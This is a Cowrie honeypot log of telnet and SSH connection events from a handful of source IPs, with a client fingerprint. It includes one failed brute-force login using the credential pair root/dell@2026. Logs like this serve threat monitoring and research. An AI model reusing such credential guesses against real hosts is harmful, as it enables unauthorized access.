{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43492,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9727cc59b13","protocol":"telnet","message":"New connection: 164.68.122.45:43492 (10.17.0.5:23) [session: b9727cc59b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.342991Z"}
{"eventid":"cowrie.session.closed","duration":30.63704824447632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.360483Z","src_ip":"199.231.212.75","session":"4fbc5183dc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":48394,"dst_ip":"10.17.0.5","dst_port":23,"session":"44317f771a0a","protocol":"telnet","message":"New connection: 86.120.107.100:48394 (10.17.0.5:23) [session: 44317f771a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.574124Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32c12c1736a","protocol":"telnet","message":"New connection: 199.231.212.75:33984 (10.17.0.5:23) [session: e32c12c1736a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.717437Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43498,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2a16ee2eb2","protocol":"telnet","message":"New connection: 164.68.122.45:43498 (10.17.0.5:23) [session: 2c2a16ee2eb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:05.906922Z"}
{"eventid":"cowrie.session.closed","duration":30.722601652145386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:06.231552Z","src_ip":"164.68.122.45","session":"e82b258cec1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce97f718548","protocol":"telnet","message":"New connection: 164.68.122.45:43506 (10.17.0.5:23) [session: 2ce97f718548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:06.474086Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43518,"dst_ip":"10.17.0.5","dst_port":23,"session":"a47afcb0eecc","protocol":"telnet","message":"New connection: 164.68.122.45:43518 (10.17.0.5:23) [session: a47afcb0eecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:06.983504Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43530,"dst_ip":"10.17.0.5","dst_port":23,"session":"00f6413fb138","protocol":"telnet","message":"New connection: 164.68.122.45:43530 (10.17.0.5:23) [session: 00f6413fb138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.034466Z"}
{"eventid":"cowrie.session.closed","duration":30.811544179916382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.232343Z","src_ip":"86.120.107.100","session":"fe48f6bd29c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":48404,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6328e6fca7a","protocol":"telnet","message":"New connection: 86.120.107.100:48404 (10.17.0.5:23) [session: c6328e6fca7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.443969Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33988,"dst_ip":"10.17.0.5","dst_port":23,"session":"26afbd6a6186","protocol":"telnet","message":"New connection: 199.231.212.75:33988 (10.17.0.5:23) [session: 26afbd6a6186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.518412Z"}
{"eventid":"cowrie.session.closed","duration":46.23974370956421,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.591915Z","src_ip":"174.138.46.234","session":"c7844958c94f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33996,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfd92bb9a2f1","protocol":"telnet","message":"New connection: 199.231.212.75:33996 (10.17.0.5:23) [session: cfd92bb9a2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.756269Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43532,"dst_ip":"10.17.0.5","dst_port":23,"session":"691c2c648874","protocol":"telnet","message":"New connection: 164.68.122.45:43532 (10.17.0.5:23) [session: 691c2c648874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.796417Z"}
{"eventid":"cowrie.session.closed","duration":31.42146372795105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:07.802527Z","src_ip":"164.68.122.45","session":"2aba93963e59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":34006,"dst_ip":"10.17.0.5","dst_port":23,"session":"265e9ccdc876","protocol":"telnet","message":"New connection: 199.231.212.75:34006 (10.17.0.5:23) [session: 265e9ccdc876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.042392Z"}
{"eventid":"cowrie.session.closed","duration":30.98005175590515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.168006Z","src_ip":"164.68.122.45","session":"1ab7aa3bce54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097962856292725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.173500Z","src_ip":"164.68.122.45","session":"63ff4e37ba1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43540,"dst_ip":"10.17.0.5","dst_port":23,"session":"222642f9342b","protocol":"telnet","message":"New connection: 164.68.122.45:43540 (10.17.0.5:23) [session: 222642f9342b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.328181Z"}
{"eventid":"cowrie.session.closed","duration":30.527920961380005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.365185Z","src_ip":"164.68.122.45","session":"1549eec047d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.538543462753296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.686894Z","src_ip":"164.68.122.45","session":"ac38ce425775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.129026889801025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.702185Z","src_ip":"164.68.122.45","session":"d03a219b834d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43542,"dst_ip":"10.17.0.5","dst_port":23,"session":"52e5410b6620","protocol":"telnet","message":"New connection: 164.68.122.45:43542 (10.17.0.5:23) [session: 52e5410b6620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.866848Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43556,"dst_ip":"10.17.0.5","dst_port":23,"session":"80fcb6082cb6","protocol":"telnet","message":"New connection: 164.68.122.45:43556 (10.17.0.5:23) [session: 80fcb6082cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:08.928805Z"}
{"eventid":"cowrie.session.closed","duration":30.65761089324951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:09.043253Z","src_ip":"199.231.212.75","session":"f6da7dfef246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"e05de0bb9005","protocol":"telnet","message":"New connection: 164.68.122.45:43558 (10.17.0.5:23) [session: e05de0bb9005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:09.130951Z"}
{"eventid":"cowrie.session.closed","duration":30.63945245742798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:09.185141Z","src_ip":"199.231.212.75","session":"6c199797055c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43572,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4aa59093276","protocol":"telnet","message":"New connection: 164.68.122.45:43572 (10.17.0.5:23) [session: b4aa59093276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:09.289838Z"}
{"eventid":"cowrie.session.closed","duration":30.997971773147583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:09.535216Z","src_ip":"164.68.122.45","session":"e2d59e683501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.171619176864624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.088772Z","src_ip":"86.120.107.100","session":"22f5e7fd6a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642971992492676,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.097461Z","src_ip":"86.120.107.100","session":"c5fd99d2d98a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629272937774658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.172335Z","src_ip":"164.68.122.45","session":"b6bd730655b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363421201705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.273577Z","src_ip":"164.68.122.45","session":"1bbe57a1e652","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33170,"dst_ip":"10.17.0.5","dst_port":23,"session":"763a24964ab1","protocol":"telnet","message":"New connection: 164.68.122.45:33170 (10.17.0.5:23) [session: 763a24964ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.396282Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":48418,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce1be9dd04c8","protocol":"telnet","message":"New connection: 86.120.107.100:48418 (10.17.0.5:23) [session: ce1be9dd04c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.457552Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33174,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da786295484","protocol":"telnet","message":"New connection: 164.68.122.45:33174 (10.17.0.5:23) [session: 0da786295484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.570297Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33182,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94501afe04b","protocol":"telnet","message":"New connection: 164.68.122.45:33182 (10.17.0.5:23) [session: f94501afe04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.718144Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc8c85e0a2b","protocol":"telnet","message":"New connection: 199.231.212.75:42970 (10.17.0.5:23) [session: ffc8c85e0a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:10.960498Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42972,"dst_ip":"10.17.0.5","dst_port":23,"session":"baa6d12a87cf","protocol":"telnet","message":"New connection: 199.231.212.75:42972 (10.17.0.5:23) [session: baa6d12a87cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:11.229845Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":48422,"dst_ip":"10.17.0.5","dst_port":23,"session":"58f2d5ead1f9","protocol":"telnet","message":"New connection: 86.120.107.100:48422 (10.17.0.5:23) [session: 58f2d5ead1f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:11.338296Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33192,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5b6bcb18a0f","protocol":"telnet","message":"New connection: 164.68.122.45:33192 (10.17.0.5:23) [session: f5b6bcb18a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:11.403986Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33194,"dst_ip":"10.17.0.5","dst_port":23,"session":"f95c661b55b9","protocol":"telnet","message":"New connection: 164.68.122.45:33194 (10.17.0.5:23) [session: f95c661b55b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:11.645470Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"296134627dd5","protocol":"telnet","message":"New connection: 164.68.122.45:33196 (10.17.0.5:23) [session: 296134627dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:11.946956Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42984,"dst_ip":"10.17.0.5","dst_port":23,"session":"28730082feec","protocol":"telnet","message":"New connection: 199.231.212.75:42984 (10.17.0.5:23) [session: 28730082feec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.005561Z"}
{"eventid":"cowrie.session.closed","duration":30.46257495880127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.145243Z","src_ip":"199.231.212.75","session":"8f7068d2fd7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126054763793945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.154268Z","src_ip":"164.68.122.45","session":"6754a78a90c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.490959405899048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.179042Z","src_ip":"86.120.107.100","session":"64d35d7584e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":42996,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44646798688","protocol":"telnet","message":"New connection: 199.231.212.75:42996 (10.17.0.5:23) [session: a44646798688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.237983Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33212,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e5e6edff7d","protocol":"telnet","message":"New connection: 164.68.122.45:33212 (10.17.0.5:23) [session: 32e5e6edff7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.470482Z"}
{"eventid":"cowrie.session.closed","duration":31.84768056869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.912407Z","src_ip":"199.231.212.75","session":"f0cb7869bb39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13828945159912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:13.960263Z","src_ip":"86.120.107.100","session":"9b48d5c916c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73491597175598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.058726Z","src_ip":"164.68.122.45","session":"00ac9e1f35e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3620ce4006ce","protocol":"telnet","message":"New connection: 164.68.122.45:33220 (10.17.0.5:23) [session: 3620ce4006ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.136446Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8c9ef6f89bc","protocol":"telnet","message":"New connection: 164.68.122.45:33230 (10.17.0.5:23) [session: c8c9ef6f89bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.333523Z"}
{"eventid":"cowrie.session.closed","duration":30.481186628341675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.345615Z","src_ip":"164.68.122.45","session":"6f88a534c49a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57372,"dst_ip":"159.203.135.109","dst_port":23,"session":"9147d4529ab0","protocol":"telnet","message":"New connection: 174.138.46.234:57372 (159.203.135.109:23) [session: 9147d4529ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.564335Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.123.136.11","src_port":44018,"dst_ip":"10.17.0.5","dst_port":22,"session":"a986d048bd38","protocol":"ssh","message":"New connection: 181.123.136.11:44018 (10.17.0.5:22) [session: a986d048bd38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.598145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.607842Z","src_ip":"181.123.136.11","session":"a986d048bd38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.778898Z","src_ip":"181.123.136.11","session":"a986d048bd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43000,"dst_ip":"10.17.0.5","dst_port":23,"session":"55b4a1a4b580","protocol":"telnet","message":"New connection: 199.231.212.75:43000 (10.17.0.5:23) [session: 55b4a1a4b580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:14.861090Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43002,"dst_ip":"10.17.0.5","dst_port":23,"session":"191a5782a52e","protocol":"telnet","message":"New connection: 199.231.212.75:43002 (10.17.0.5:23) [session: 191a5782a52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.009292Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57214,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6230c891177","protocol":"telnet","message":"New connection: 174.138.46.234:57214 (159.203.135.109:23) [session: e6230c891177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.066684Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33236,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61af6d09783","protocol":"telnet","message":"New connection: 164.68.122.45:33236 (10.17.0.5:23) [session: d61af6d09783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.202382Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57296,"dst_ip":"159.203.135.109","dst_port":23,"session":"def8b6b3d1e1","protocol":"telnet","message":"New connection: 174.138.46.234:57296 (159.203.135.109:23) [session: def8b6b3d1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.331296Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell@2026","message":"login attempt [root/dell@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.463492Z","src_ip":"181.123.136.11","session":"a986d048bd38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43016,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd5704ca87c","protocol":"telnet","message":"New connection: 199.231.212.75:43016 (10.17.0.5:23) [session: fbd5704ca87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.530971Z"}
{"eventid":"cowrie.session.closed","duration":31.551755905151367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.593207Z","src_ip":"199.231.212.75","session":"5db1f0f90ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33242,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e6833ac9d4","protocol":"telnet","message":"New connection: 164.68.122.45:33242 (10.17.0.5:23) [session: c6e6833ac9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.690745Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33244,"dst_ip":"10.17.0.5","dst_port":23,"session":"4686d3730559","protocol":"telnet","message":"New connection: 164.68.122.45:33244 (10.17.0.5:23) [session: 4686d3730559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.810913Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33246,"dst_ip":"10.17.0.5","dst_port":23,"session":"da2a47183e4a","protocol":"telnet","message":"New connection: 164.68.122.45:33246 (10.17.0.5:23) [session: da2a47183e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.833003Z"}
{"eventid":"cowrie.session.closed","duration":31.267183780670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.904594Z","src_ip":"164.68.122.45","session":"1a611b88cf13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33260,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb8359268f3a","protocol":"telnet","message":"New connection: 164.68.122.45:33260 (10.17.0.5:23) [session: fb8359268f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:15.957957Z"}
{"eventid":"cowrie.session.closed","duration":31.037198781967163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.164201Z","src_ip":"164.68.122.45","session":"7a5ebe7dc50b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43018,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a03ac53558","protocol":"telnet","message":"New connection: 199.231.212.75:43018 (10.17.0.5:23) [session: 23a03ac53558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.244587Z"}
